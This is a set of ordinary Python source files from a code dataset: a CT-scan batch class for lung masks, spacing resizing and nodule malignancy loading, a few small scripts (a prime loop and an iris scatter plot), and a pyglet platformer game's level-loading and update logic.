\n \n \n \n start_pix=np.abs(start_pix_list)\n \n\n return (start_pix).astype(np.int)\n \n @action\n def get_middle_slices(self):\n CenterSliceIm=np.zeros([len(self),self.images.shape[1], self.images.shape[2]]) \n CenterSliceMask=np.zeros([len(self),self.images.shape[1], self.images.shape[2]]) \n\n\n\n for i in range(0, len(self)):\n im=self.get(i,'images')\n mask=self.get(i,'segmentation')\n \n CenterSliceZ=int(len(im)/2)\n CenterIm=im[CenterSliceZ,:,:]\n CenterMask=mask[CenterSliceZ,:,:]\n \n CenterSliceIm[i, :,:]=CenterIm\n CenterSliceMask[i,:,:]=CenterMask\n \n return CenterSliceIm, CenterSliceMask\n\n @action\n def get_lung_mask(self,rad=10):\n mask, segmentation=lung.total_segmentation(self, rad)\n self.masks=mask #dilated masks\n self.segmentation= segmentation #segmentation\n return self\n \n @action\n def apply_lung_mask(self, padding=170): \n self.images = self.images * self.masks + padding * (1-self.masks)\n self.images[(self.masks-self.segmentation)*self.images >= 210] = 170\n # self.segmentation=self.masks\n # self.masks=None\n return self\n \n\n \n \n \n def _init_rebuildwithmask(self, **kwargs):\n \"\"\" Fetch args for `images` rebuilding using inbatch_parallel.\n\n\n Args-fetcher for parallelization using inbatch_parallel\n\n Parameters\n ----------\n **kwargs\n shape : tuple, list or ndarray of int\n (z,y,x)-shape of every image in image component after action is performed.\n spacing : tuple, list or ndarray of float\n (z,y,x)-spacing for each image. If supplied, assume that\n unify_spacing is performed.\n\n Returns\n -------\n list\n list of arg-dicts for different workers\n \"\"\"\n if 'shape' in kwargs:\n num_slices, y, x = kwargs['shape']\n new_bounds = num_slices * np.arange(len(self) + 1)\n new_data = np.zeros((num_slices * len(self), y, x))\n new_mask = np.zeros((num_slices * len(self), y, x))\n new_segm=np.zeros((num_slices * len(self), y, x))\n else:\n new_bounds = self._bounds\n new_data = np.zeros_like(self.images)\n new_mask = np.zeros_like(self.masks)\n new_segm=np.zeros_like(self.segmentation)\n \n all_args = []\n for i in range(len(self)):\n out_patient = new_data[new_bounds[i]: new_bounds[i + 1], :, :]\n out_mask = new_mask[new_bounds[i]: new_bounds[i + 1], :, :]\n out_segm= new_segm[new_bounds[i]: new_bounds[i + 1], :, :]\n \n item_args = {'patient': self.get(i, 'images'),\n 'out_patient': out_patient,\n 'res': new_data,\n 'patient_mask': self.get(i, 'masks'),\n 'out_mask': out_mask,\n 'res2': new_mask,\n 'patient_segm': self.get(i, 'segmentation'),\n 'out_segm': out_segm,\n 'res3': new_segm,\n \n \n }\n \n \n\n # for unify_spacing\n if 'spacing' in kwargs:\n shape_after_resize = (self.images_shape * self.spacing\n / np.asarray(kwargs['spacing']))\n shape_after_resize = np.rint(shape_after_resize).astype(np.int)\n item_args['factor'] = self.spacing[i, :] / np.array(kwargs['spacing'])\n item_args['shape_resize'] = shape_after_resize[i, :]\n \n\n all_args += [item_args]\n\n return all_args\n \n \n def _post_rebuildwithmask(self, all_outputs, new_batch=False, **kwargs):\n \"\"\" Gather outputs of different workers for actions, rebuild `images` component.\n\n Parameters\n ----------\n all_outputs : list\n list of outputs. Each item is given by tuple\n new_batch : bool\n if True, returns new batch with data agregated\n from all_ouputs. if False, changes self.\n **kwargs\n shape : list, tuple or ndarray of int\n (z,y,x)-shape of every image in image component after action is performed.\n spacing : tuple, list or ndarray of float\n (z,y,x)-spacing for each image. If supplied, assume that\n unify_spacing is performed.\n \"\"\"\n \n self._reraise_worker_exceptions(all_outputs)\n \n new_data, a, new_masks, b , new_segm,c = all_outputs[0]\n \n new_bounds = np.cumsum([patient_shape[0] for _, patient_shape, _, _,_,_\n in [[0, (0, ), 0, (0, ), 0 , (0,)]] + all_outputs])\n # each worker returns the same ref to the whole res array\n \n\n\n # recalculate new_attrs of a batch\n\n # for resize/unify_spacing: if shape is supplied, assume post\n # is for resize or unify_spacing\n if 'shape' in kwargs:\n new_spacing = self.rescale(kwargs['shape'])\n else:\n new_spacing = self.spacing\n\n # for unify_spacing: if spacing is supplied, assume post\n # is for unify_spacing\n if 'spacing' in kwargs:\n # recalculate origin, spacing\n shape_after_resize = np.rint(self.images_shape * self.spacing\n / np.asarray(kwargs['spacing']))\n overshoot = shape_after_resize - np.asarray(kwargs['shape'])\n new_spacing = self.rescale(new_shape=shape_after_resize)\n new_origin = self.origin + new_spacing * (overshoot // 2)\n else:\n new_origin = self.origin\n\n # build/update batch with new data and attrs\n #params = dict(images=new_data, bounds=new_bounds,\n # origin=new_origin, spacing=new_spacing)\n \n params = dict(images=new_data, bounds=new_bounds,\n origin=new_origin, spacing=new_spacing)\n if new_batch:\n batch_res = type(self)(self.index)\n batch_res.load(fmt='ndarray', **params)\n return batch_res\n else:\n self._init_data(**params)\n self.masks=new_masks\n self.segmentation=new_segm\n return self\n\n def _post_rebuildwithmask_noresize(self, all_outputs, new_batch=False, **kwargs):\n \"\"\" Gather outputs of different workers for actions, rebuild `images` component.\n\n Parameters\n ----------\n all_outputs : list\n list of outputs. Each item is given by tuple\n new_batch : bool\n if True, returns new batch with data agregated\n from all_ouputs. if False, changes self.\n **kwargs\n shape : list, tuple or ndarray of int\n (z,y,x)-shape of every image in image component after action is performed.\n spacing : tuple, list or ndarray of float\n (z,y,x)-spacing for each image. If supplied, assume that\n unify_spacing is performed.\n \"\"\"\n \n self._reraise_worker_exceptions(all_outputs)\n \n new_data, a, new_masks, b , new_segm, c= all_outputs[0]\n \n new_bounds = np.cumsum([patient_shape[0] for _, patient_shape, _, _\n in [[0, (0, ), 0, (0, ), 0, (0,)]] + all_outputs])\n # each worker returns the same ref to the whole res array\n \n\n\n # recalculate new_attrs of a batch\n\n # for resize/unify_spacing: if shape is supplied, assume post\n # is for resize or unify_spacing\n if 'shape' in kwargs:\n new_spacing = self.rescale(kwargs['shape'])\n else:\n new_spacing = self.spacing\n\n # for unify_spacing: if spacing is supplied, assume post\n # is for unify_spacing\n if 'spacing' in kwargs:\n # recalculate origin, spacing\n shape_after_resize = np.rint(self.images_shape * self.spacing\n / np.asarray(kwargs['spacing']))\n \n overshoot = shape_after_resize - np.asarray(kwargs['shape'])\n new_spacing = self.rescale(new_shape=shape_after_resize)\n new_origin = self.origin + new_spacing * (overshoot // 2)\n else:\n new_origin = self.origin\n\n # build/update batch with new data and attrs\n #params = dict(images=new_data, bounds=new_bounds,\n # origin=new_origin, spacing=new_spacing)\n \n params = dict(images=new_data, bounds=new_bounds,\n origin=new_origin, spacing=new_spacing)\n if new_batch:\n batch_res = type(self)(self.index)\n batch_res.load(fmt='ndarray', **params)\n return batch_res\n else:\n self._init_data(**params)\n self.masks=new_masks\n self.segmentation=new_segm\n return self\n\n @action\n @inbatch_parallel(init='_init_rebuildwithmask', post='_post_rebuildwithmask', target='threads')\n def unify_spacing_withmask_noresize(self, patient, out_patient, res, patient2, out_patient2, res2, factor,\n shape_resize, spacing=(1, 1, 1), shape=(128, 256, 256),\n method='pil-simd', order=3, padding='edge', axes_pairs=None,\n resample=None, *args, **kwargs):\n \"\"\" Unify spacing of all patients.\n\n Resize all patients to meet `spacing`, then crop/pad resized array to meet `shape`.\n\n Parameters\n ----------\n spacing : tuple, list or ndarray of float\n (z,y,x)-spacing after resize.\n Should be passed as key-argument.\n shape : tuple, list or ndarray of int\n (z,y,x)-shape after crop/pad.\n Should be passed as key-argument.\n method : str\n interpolation method ('pil-simd' or 'resize').\n Should be passed as key-argument.\n See CTImagesBatch.resize for more information.\n order : None or int\n order of scipy-interpolation (<=5), if used.\n Should be passed as key-argument.\n padding : str\n mode of padding, any supported by np.pad.\n Should be passed as key-argument.\n axes_pairs : tuple, list of tuples with pairs\n pairs of axes that will be used consequentially\n for performing pil-simd resize.\n Should be passed as key-argument.\n resample : None or str\n filter of pil-simd resize.\n Should be passed as key-argument\n patient : str\n index of patient, that worker is handling.\n Note: this argument is passed by inbatch_parallel\n out_patient : ndarray\n result of individual worker after action.\n Note: this argument is passed by inbatch_parallel\n res : ndarray\n New `images` to replace data inside `images` component.\n Note: this argument is passed by inbatch_parallel\n factor : tuple\n (float), factor to make resize by.\n Note: this argument is passed by inbatch_parallel\n shape_resize : tuple\n It is possible to provide `shape_resize` argument (shape after resize)\n instead of spacing. Then array with `shape_resize`\n will be cropped/padded for shape to = `shape` arg.\n Note that this argument is passed by inbatch_parallel\n\n Notes\n -----\n see CTImagesBatch.resize for more info about methods' params.\n\n Examples\n --------\n >>> shape = (128, 256, 256)\n >>> batch = batch.unify_spacing(shape=shape, spacing=(1.0, 1.0, 1.0),\n order=2, method='scipy', padding='reflect')\n >>> batch = batch.unify_spacing(shape=shape, spacing=(1.0, 1.0, 1.0),\n resample=PIL.Image.BILINEAR)\n \"\"\"\n \n if method == 'scipy':\n \n args_resize = dict(patient=patient, out_patient=out_patient,\n res=res, order=order, factor=factor, padding=padding)\n \n array1,array2= resize_scipy(**args_resize) #images, size\n args_resize2= dict(patient=patient2, out_patient=out_patient2,\n res=res2, order=order, factor=factor, padding=padding)\n array3,array4= resize_scipy(**args_resize2) #masks, size\n \n \n return array1, array2, array3, array4 \n elif method == 'pil-simd':\n args_resize = dict(input_array=patient, output_array=out_patient,\n res=res, axes_pairs=axes_pairs, resample=resample,\n shape_resize=shape_resize, padding=padding)\n \n array1,array2 = resize_pil(**args_resize) #images, size\n \n args_resize2 = dict(input_array=patient2, output_array=out_patient2,\n res=res2, axes_pairs=axes_pairs, resample=PIL.Image.NEAREST,\n shape_resize=shape_resize, padding=padding)\n array3, array4 = resize_pil(**args_resize2) #masks, size\n return array1, array2, array3, array4 \n \n\n \n @action\n @inbatch_parallel(init='_init_rebuildwithmask', post='_post_rebuildwithmask', target='threads')\n def unify_spacing_withmask(self, patient, out_patient, res, patient_mask, out_mask, res2,patient_segm,out_segm,\n res3, factor,\n shape_resize, spacing=(1, 1, 1), shape=(128, 256, 256),\n method='pil-simd', order=3, padding='edge', axes_pairs=None,\n resample=None, *args, **kwargs):\n \"\"\" Unify spacing of all patients.\n\n Resize all patients to meet `spacing`, then crop/pad resized array to meet `shape`.\n\n Parameters\n ----------\n spacing : tuple, list or ndarray of float\n (z,y,x)-spacing after resize.\n Should be passed as key-argument.\n shape : tuple, list or ndarray of int\n (z,y,x)-shape after crop/pad.\n Should be passed as key-argument.\n method : str\n interpolation method ('pil-simd' or 'resize').\n Should be passed as key-argument.\n See CTImagesBatch.resize for more information.\n order : None or int\n order of scipy-interpolation (<=5), if used.\n Should be passed as key-argument.\n padding : str\n mode of padding, any supported by np.pad.\n Should be passed as key-argument.\n axes_pairs : tuple, list of tuples with pairs\n pairs of axes that will be used consequentially\n for performing pil-simd resize.\n Should be passed as key-argument.\n resample : None or str\n filter of pil-simd resize.\n Should be passed as key-argument\n patient : str\n index of patient, that worker is handling.\n Note: this argument is passed by inbatch_parallel\n out_patient : ndarray\n result of individual worker after action.\n Note: this argument is passed by inbatch_parallel\n res : ndarray\n New `images` to replace data inside `images` component.\n Note: this argument is passed by inbatch_parallel\n factor : tuple\n (float), factor to make resize by.\n Note: this argument is passed by inbatch_parallel\n shape_resize : tuple\n It is possible to provide `shape_resize` argument (shape after resize)\n instead of spacing. Then array with `shape_resize`\n will be cropped/padded for shape to = `shape` arg.\n Note that this argument is passed by inbatch_parallel\n\n Notes\n -----\n see CTImagesBatch.resize for more info about methods' params.\n\n Examples\n --------\n >>> shape = (128, 256, 256)\n >>> batch = batch.unify_spacing(shape=shape, spacing=(1.0, 1.0, 1.0),\n order=2, method='scipy', padding='reflect')\n >>> batch = batch.unify_spacing(shape=shape, spacing=(1.0, 1.0, 1.0),\n resample=PIL.Image.BILINEAR)\n \"\"\"\n if method == 'scipy':\n \n args_resize = dict(patient=patient, out_patient=out_patient,\n res=res, order=order, factor=factor, padding=padding)\n array1,array2= resize_scipy(**args_resize) #images, size\n \n args_resize2= dict(patient=patient_mask, out_patient=out_mask,\n res=res2, order=order, factor=factor, padding=padding)\n array3,array4= resize_scipy(**args_resize2) #masks, size\n \n args_resize3= dict(patient=patient_segm, out_patient=out_segm,\n res=res3, order=order, factor=factor, padding=padding)\n array5,array6= resize_scipy(**args_resize3) #masks, size\n \n return array1, array2, array3, array4 , array5, array6\n elif method == 'pil-simd':\n args_resize = dict(input_array=patient, output_array=out_patient,\n res=res, axes_pairs=axes_pairs, resample=resample,\n shape_resize=shape_resize, padding=padding)\n \n array1,array2 = resize_pil(**args_resize) #images, size\n \n args_resize2 = dict(input_array=patient_mask, output_array=out_mask,\n res=res2, axes_pairs=axes_pairs, resample=PIL.Image.NEAREST,\n shape_resize=shape_resize, padding=padding)\n array3, array4 = resize_pil(**args_resize2) #masks, size\n \n \n args_resize2 = dict(input_array=patient_segm, output_array=out_segm,\n res=res3, axes_pairs=axes_pairs, resample=PIL.Image.NEAREST,\n shape_resize=shape_resize, padding=padding)\n array5, array6 = resize_pil(**args_resize2) #masks, size\n \n \n \n \n return array1, array2, array3, array4 , array5, array6\n \n @action \n def predict_on_scans(self, model_name, strides=(16, 32, 32), crop_shape=(32, 64, 64),\n batch_size=4, targets_mode='segmentation', data_format='channels_last',\n show_progress=True, model_type='tf'):\n \"\"\" Get predictions of the model on data contained in batch.\n\n Transforms scan data into patches of shape CROP_SHAPE and then feed\n this patches sequentially into model with name specified by\n argument 'model_name'; after that loads predicted masks or probabilities\n into 'masks' component of the current batch and returns it.\n\n Parameters\n ----------\n model_name : str\n name of model that will be used for predictions.\n strides : tuple, list or ndarray of int\n (z,y,x)-strides for patching operation.\n crop_shape : tuple, list or ndarray of int\n (z,y,x)-shape of crops.\n batch_size : int\n number of patches to feed in model in one iteration.\n targets_mode: str\n type of targets 'segmentation', 'regression' or 'classification'.\n data_format: str\n format of neural network input data,\n can be 'channels_first' or 'channels_last'.\n model_type : str\n represents type of model that will be used for prediction.\n Possible values are 'keras' or 'tf'.\n\n Returns\n -------\n CTImagesMaskedBatch.\n \"\"\"\n \n \n _model = model_name\n crop_shape = np.asarray(crop_shape).reshape(-1)\n strides = np.asarray(strides).reshape(-1)\n\n patches_arr = self.get_patches(patch_shape=crop_shape,\n stride=strides,\n padding='reflect')\n if data_format == 'channels_first':\n patches_arr = patches_arr[:, np.newaxis, ...]\n elif data_format == 'channels_last':\n patches_arr = patches_arr[..., np.newaxis]\n\n predictions = []\n iterations = range(0, patches_arr.shape[0], batch_size)\n if show_progress:\n iterations = tqdm_notebook(iterations) # pylint: disable=redefined-variable-type\n for i in iterations:\n\n if model_type == 'tf':\n _prediction = _model.predict(feed_dict={'images': patches_arr[i: i + batch_size, ...]})\n else:\n _prediction = _model.predict(patches_arr[i: i + batch_size, ...])\n\n current_prediction = np.asarray(_prediction)\n if targets_mode == 'classification':\n current_prediction = np.stack([np.ones(shape=(crop_shape)) * prob\n for prob in current_prediction.ravel()])\n\n # if targets_mode == 'regression':\n # current_prediction = create_mask_reg(current_prediction[:, :3],\n# current_prediction[:, 3:6],\n# current_prediction[:, 6],\n# crop_shape, 0.01)\n\n predictions.append(current_prediction)\n\n patches_mask = np.concatenate(predictions, axis=0)\n patches_mask = np.squeeze(patches_mask)\n self.load_from_patches(patches_mask, stride=strides,\n scan_shape=tuple(self.images_shape[0, :]),\n data_attr='masks')\n return self, patches_mask\n \n @action\n def loadMalignancy(self):\n num_nodules=len(self)\n self.nodules = np.rec.array(np.zeros(num_nodules,\n dtype=self.nodules_dtype))\n for i in range(len(self)):\n print(i)\n path=self.index.get_fullpath(self.indices[i])\n print(path)\n nodules=np.load(path+'/nodules.npy')\n print(len(nodules))\n if len(nodules)>1:\n print('more than one nodule present')\n \n firstNodule=nodules[0]\n firstNodule[0]=i\n self.nodules[i]=firstNodule\n\n return self\n \n @action\n def dumpMalignancy(self, dst):\n for index in range(len(self.indices)):\n np.save(dst +'/'+self.indices[index]+'/nodules.npy', self[index].nodules)\n \n return self \n ","sub_path":"HelperFunctions/CTImagesCustomBatch.py","file_name":"CTImagesCustomBatch.py","file_ext":"py","file_size_in_byte":71304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"101158690","text":"class Output(object):\n def __init__(self):\n self.Re=[];\n self.alpha=[];\n self.S=[];\n self.sigma=[];\n self.sigmaR=[];\n self.beta=[]\n self.Wmax=[];\n self.Wmin=[];\n self.Wdif=[];\n self.qz=[];\n self.ReC=[];\n self.area=[];\n self.W=[];\n self.X=[];\n self.Y=[];\n self.Wroot=[];\n self.shIn=[];\n self.spoint=[];\n self.betaCr=[];\n \n","sub_path":"output.py","file_name":"output.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"528517535","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nfor num in range(100,200 + 1):\n\t# 素数大于 1\n\tif num > 1:\n\t\tfor i in range(2,num):\n\t\t\tif (num % i) == 0:\n\t\t\t\tbreak\n\t\telse:\n\t\t\tprint(num)\n","sub_path":"36.py","file_name":"36.py","file_ext":"py","file_size_in_byte":183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"517949842","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_iris\n\niris = load_iris()\ndata = np.c_[iris.target, iris.data]\n\nplt.scatter(data[data[:,0]==0,1], data[data[:,0]==0,2], marker='o', color='red', label='setosa')\nplt.scatter(data[data[:,0]==1,1], data[data[:,0]==1,2], marker='x', color='green', label='versicolor')\nplt.scatter(data[data[:,0]==2,1], data[data[:,0]==2,2], marker='^', color='blue', label='virginica')\n\nplt.xlabel('sepal length (cm)')\nplt.ylabel('sepal width (cm)')\nplt.legend()\n\nplt.show()\n","sub_path":"src/04_sklearn/04_sklearn_iris_scatter.py","file_name":"04_sklearn_iris_scatter.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"82370820","text":"#topfile_template.py\n\nimport pyglet,random\npyglet.options['debug_lib'] = True \nimport pyglet.graphics\nfrom pyglet.window import key\nfrom game import viewport,world,avatar,hud,spawn_enemies,spawn_tokens, background,switch,portal,boss\nfrom game import token, hidden_token, util, instructions,gravity,laser_shoot,enemy,power_up,health,sound_fx\n\npyglet.resource.path.append('./images')\npyglet.resource.reindex()\n\nenemy_image1=pyglet.resource.image('enemy1.png')\nutil.center_image(enemy_image1)\n\nenemy_image2=pyglet.resource.image('enemy2.png')\nutil.center_image(enemy_image2)\n\nenemy_image3=pyglet.resource.image('enemy3.png')\nutil.center_image(enemy_image3)\n\nenemy_image4=pyglet.resource.image('enemy4.png')\nutil.center_image(enemy_image4)\n\nmedia_player=pyglet.media.Player()\nmedia_player.queue(sound_fx.theme)\nmedia_player.eos_action=media_player.EOS_LOOP\n\nmedia_player2=pyglet.media.Player()\nmedia_player2.queue(sound_fx.combat)\nmedia_player2.eos_action=media_player2.EOS_LOOP\n\nmedia_player3=pyglet.media.Player()\nmedia_player3.queue(sound_fx.boss)\nmedia_player3.eos_action=media_player3.EOS_LOOP\n\nmedia_player4=pyglet.media.Player()\nmedia_player4.queue(sound_fx.relax)\nmedia_player4.eos_action=media_player4.EOS_LOOP\n\ndef init():\n\n global inst, event_stack_size, level, bg\n\n event_stack_size=0\n level=1\n inst=instructions.Instructions_display()\n inst.batch=inst_batch\n viewport.window.push_handlers(inst.key_handler)\n pyglet.clock.schedule_interval(inst.update,1/120.0)\n bg=background.Background()\n\ndef spawn_enemy(dt,x,y):\n\n enemy_image=random.choice([enemy_image1,enemy_image2,enemy_image3,enemy_image4])\n new_enemy=enemy.Enemy(enemy_image,x,y)\n new_enemy.batch=main_batch\n game_objects.append(new_enemy)\n\ndef spawn_boss(dt,x,y):\n\n new_boss=boss.Boss(x,y)\n new_boss.batch=main_batch\n game_objects.append(new_boss)\n\ndef spawn_bubble(dt,x,y):\n\n new_bubble=power_up.Bubble(x,y)\n new_bubble.batch=main_batch\n game_objects.append(new_bubble)\n\ndef spawn_laser(dt,x,y):\n\n new_laser=power_up.Laser(x,y,)\n new_laser.batch=main_batch\n game_objects.append(new_laser)\n\ndef check_instructions(dt):\n media_player.play()\n \n if inst.complete:\n pyglet.clock.unschedule(inst.update)\n pyglet.clock.unschedule(check_instructions)\n media_player.pause()\n media_player2.play()\n load_level_1(1)\n \n \ndef clear_level():\n\n global game_objects\n\n if game_objects:\n for obj in game_objects:\n obj.delete()\n game_objects=[]\n \n\ndef load_level_1(level):\n\n global game_objects, hidden, event_stack_size, player\n global tokens_collected, max_tokens, laser, switch1, portal1\n\n while event_stack_size>0:\n viewport.window.pop_handlers()\n event_stack_size-=1\n\n event_stack_size=0\n \n game_objects=[]\n reload(world)\n world.generate_world(level)\n\n #hidden=hidden_token.Hidden_token(batch=main_batch)\n #hidden.x=250\n #hidden.y=500\n #hidden.update_bounding_box()\n #game_objects.append(hidden)\n\n health.healthbar.batch=main_batch\n #game_objects.append(health.healthbar)\n\n portal1=portal.Portal(3060,60)\n portal1.batch=main_batch\n game_objects.append(portal1)\n\n switch1=switch.Switch(1056,367,'left')\n switch1.batch=main_batch\n game_objects.append(switch1)\n\n pyglet.clock.schedule_once(spawn_laser,.01,535,75)\n\n #laser=power_up.Laser(1050,140)\n #laser.batch=main_batch\n #laser.x=200\n #laser.y=200\n #laser.update_bounding_box()\n #laser.batch=main_batch\n #game_objects.append(laser)\n\n pyglet.clock.schedule_once(spawn_bubble,.01,251,50)\n pyglet.clock.schedule_once(spawn_bubble,.01,45,325)\n\n pyglet.clock.schedule_once(spawn_enemy,.01,991,528)\n pyglet.clock.schedule_once(spawn_enemy,3.01,991,528)\n pyglet.clock.schedule_once(spawn_enemy,6.01,991,528)\n pyglet.clock.schedule_once(spawn_enemy,9.01,991,528)\n pyglet.clock.schedule_once(spawn_enemy,12.01,991,528)\n pyglet.clock.schedule_once(spawn_enemy,15.01,991,528)\n pyglet.clock.schedule_once(spawn_enemy,18.01,991,528)\n pyglet.clock.schedule_once(spawn_enemy,21.01,991,528)\n pyglet.clock.schedule_once(spawn_enemy,24.01,991,528)\n pyglet.clock.schedule_once(spawn_enemy,27.01,991,528)\n pyglet.clock.schedule_once(spawn_enemy,30.01,991,528)\n \n pyglet.clock.schedule_once(spawn_enemy,.01,510,25)\n pyglet.clock.schedule_once(spawn_enemy,.01,251,50)\n\n #collectibles=spawn_tokens.spawn_tokens(4,level)\n #for collectible in collectibles:\n # collectible.batch=main_batch\n #game_objects+=collectibles\n\n #tokens_collected=0\n #max_tokens=4\n\n player=avatar.Avatar(batch=avatar_batch)\n game_objects.append(player)\n\n \n viewport.window.push_handlers(player.key_handler)\n\n pyglet.clock.schedule_interval(update,1.0/120.0)\n\ndef load_level_2(level):\n\n global game_objects, hidden, event_stack_size, player\n global tokens_collected, max_tokens, laser, switch1, portal1\n\n while event_stack_size>0:\n viewport.window.pop_handlers()\n event_stack_size-=1\n\n event_stack_size=0\n \n game_objects=[]\n reload(world)\n world.generate_world(level)\n \n player=avatar.Avatar(batch=avatar_batch)\n game_objects.append(player)\n\n portal1=portal.Portal(3060,60)\n portal1.batch=main_batch\n game_objects.append(portal1)\n\n switch1=switch.Switch(996,365,'right')\n switch1.batch=main_batch\n game_objects.append(switch1)\n\n pyglet.clock.schedule_once(spawn_laser,.01,134,195)\n\n pyglet.clock.schedule_once(spawn_bubble,.01,205,197)\n #pyglet.clock.schedule_once(spawn_bubble,.01,755,521)\n pyglet.clock.schedule_once(spawn_bubble,.01,576,322)\n pyglet.clock.schedule_once(spawn_bubble,.01,624,322)\n #pyglet.clock.schedule_once(spawn_bubble,.01,45,325)\n\n pyglet.clock.schedule_once(spawn_enemy,.01,289,570)\n pyglet.clock.schedule_once(spawn_enemy,6.01,289,570)\n pyglet.clock.schedule_once(spawn_enemy,12.01,289,570)\n pyglet.clock.schedule_once(spawn_enemy,18.01,289,570)\n pyglet.clock.schedule_once(spawn_enemy,24.01,289,570)\n pyglet.clock.schedule_once(spawn_enemy,30.01,289,570)\n pyglet.clock.schedule_once(spawn_enemy,36.01,289,570)\n\n pyglet.clock.schedule_once(spawn_enemy,.01,900,570)\n pyglet.clock.schedule_once(spawn_enemy,11.01,900,570)\n pyglet.clock.schedule_once(spawn_enemy,20.01,900,570)\n pyglet.clock.schedule_once(spawn_enemy,30.01,900,570)\n pyglet.clock.schedule_once(spawn_enemy,40.01,900,570)\n pyglet.clock.schedule_once(spawn_enemy,50.01,900,570)\n pyglet.clock.schedule_once(spawn_enemy,55.01,900,570)\n pyglet.clock.schedule_once(spawn_enemy,60.01,900,570)\n pyglet.clock.schedule_once(spawn_enemy,65.01,900,570)\n pyglet.clock.schedule_once(spawn_enemy,70.01,900,570)\n pyglet.clock.schedule_once(spawn_enemy,75.01,900,570)\n #pyglet.clock.schedule_once(spawn_enemy,35.01,950,570)\n \n\n pyglet.clock.schedule_once(spawn_enemy,.01,45,45)\n\n viewport.window.push_handlers(player.key_handler)\n\n pyglet.clock.schedule_interval(update,1.0/120.0)\n\ndef load_level_3(level):\n\n global game_objects, hidden, event_stack_size, player\n global tokens_collected, max_tokens, laser, switch1, portal1\n\n while event_stack_size>0:\n viewport.window.pop_handlers()\n event_stack_size-=1\n\n event_stack_size=0\n \n game_objects=[]\n reload(world)\n world.generate_world(level)\n \n player=avatar.Avatar(batch=avatar_batch)\n game_objects.append(player)\n\n portal1=portal.Portal(3060,60)\n portal1.batch=main_batch\n game_objects.append(portal1)\n\n pyglet.clock.schedule_once(spawn_bubble,.01,25,175)\n pyglet.clock.schedule_once(spawn_bubble,.01,200,175)\n pyglet.clock.schedule_once(spawn_bubble,.01,1077,223)\n pyglet.clock.schedule_once(spawn_bubble,.01,1049,553)\n\n pyglet.clock.schedule_once(spawn_enemy,.01,125,175)\n pyglet.clock.schedule_once(spawn_enemy,.01,125,175)\n\n pyglet.clock.schedule_once(spawn_enemy,1.5,260,570)\n pyglet.clock.schedule_once(spawn_enemy,1.5,560,570)\n pyglet.clock.schedule_once(spawn_enemy,1.5,410,570)\n\n pyglet.clock.schedule_once(spawn_enemy,9.5,260,570)\n pyglet.clock.schedule_once(spawn_enemy,9.5,560,570)\n pyglet.clock.schedule_once(spawn_enemy,9.5,410,570)\n\n pyglet.clock.schedule_once(spawn_enemy,17.5,260,570)\n pyglet.clock.schedule_once(spawn_enemy,17.5,560,570)\n pyglet.clock.schedule_once(spawn_enemy,17.5,410,570)\n\n pyglet.clock.schedule_once(spawn_enemy,25.5,260,570)\n pyglet.clock.schedule_once(spawn_enemy,25.5,560,570)\n pyglet.clock.schedule_once(spawn_enemy,25.5,410,570)\n\n switch1=switch.Switch(770,90,'right')\n switch1.batch=main_batch\n game_objects.append(switch1)\n\n pyglet.clock.schedule_once(spawn_laser,.01,395,75)\n\n viewport.window.push_handlers(player.key_handler)\n\n pyglet.clock.schedule_interval(update,1.0/120.0)\n\ndef load_level_4(level):\n\n global game_objects, hidden, event_stack_size, player, boss1\n global tokens_collected, max_tokens, laser, switch1, portal1\n\n while event_stack_size>0:\n viewport.window.pop_handlers()\n event_stack_size-=1\n\n event_stack_size=0\n \n game_objects=[]\n reload(world)\n world.generate_world(level)\n\n switch1=switch.Switch(1057,540,'left')\n switch1.batch=main_batch\n game_objects.append(switch1)\n\n boss1=boss.Boss(140,200)\n boss1.batch=main_batch\n game_objects.append(boss1)\n #pyglet.clock.schedule_once(spawn_boss,1,140,200)\n\n player=avatar.Avatar(batch=avatar_batch)\n game_objects.append(player)\n\n #gate1=gate.Gate(487,275)\n #gate1.batch=main_batch\n #game_objects.append(gate1)\n\n pyglet.clock.schedule_once(spawn_laser,.01,555,75)\n\n portal1=portal.Portal(3060,60)\n portal1.batch=main_batch\n game_objects.append(portal1)\n\n viewport.window.push_handlers(player.key_handler)\n\n pyglet.clock.schedule_interval(update,1.0/120.0)\n\ndef update(dt):\n\n global tokens_collected, max_tokens, level\n\n player_dead=False\n victory=False\n if switch1.flipped==True and level<4:\n portal1.x=1060\n portal1.update_bounding_box()\n if level==3:\n portal1.y=85\n elif switch1.flipped==True and level==4 and (boss1 in game_objects):\n #gate1.dead=True\n boss1.visible=True\n media_player2.pause()\n media_player3.play()\n #boss1.y=200\n #pyglet.clock.schedule_once(spawn_boss,1,140,200)\n #if hidden in game_objects:\n #if util.distance((player.x,player.y),(hidden.x,hidden.y))<=150:\n #hidden.found=True\n\n for i in xrange(len(game_objects)):\n for j in xrange(i+1,len(game_objects)):\n\n obj_1=game_objects[i]\n obj_2=game_objects[j]\n\n #make sure objects are not dead\n\n if not obj_1.dead and not obj_2.dead:\n if obj_1.__class__ is not obj_2.__class__:\n if obj_1.collides_with(obj_2) or obj_2.collides_with(obj_1):\n obj_1.handle_collision_with(obj_2)\n obj_2.handle_collision_with(obj_1)\n\n for obj in game_objects:\n obj.update(dt)\n\n #get rid of dead objects\n\n for to_remove in [obj for obj in game_objects if obj.dead]:\n\n #remove the object from the batch and the game_objects list\n to_remove.delete()\n game_objects.remove(to_remove)\n\n\n if to_remove==player:\n player_dead=True\n \n if isinstance(to_remove,portal.Portal):\n if level<4:\n gravity.toggle_gravity(player)\n victory=True\n elif level==4:\n victory=True\n\n if isinstance(to_remove,boss.Boss):\n media_player3.pause()\n media_player4.play()\n portal1.x=1060\n portal1.update_bounding_box()\n \n #Adjust the score if the dead item was worth points\n #if isinstance(to_remove,power_up.Power_up):\n #player.has_laser=True\n #tokens_collected+=1\n #gravity.toggle_gravity(player)\n #sound_fx.pop_sound.play()\n #score+=10\n #hud.score_label.text='Score:'+str(score)\n #if tokens_collected==max_tokens:\n #victory=True\n # sound_fx.level_clear_sound.play()\n \n\n '''\n \n #Adjust the score if the dead item was worth points\n if isinstance(to_remove,pwr_up.PwrUp):\n 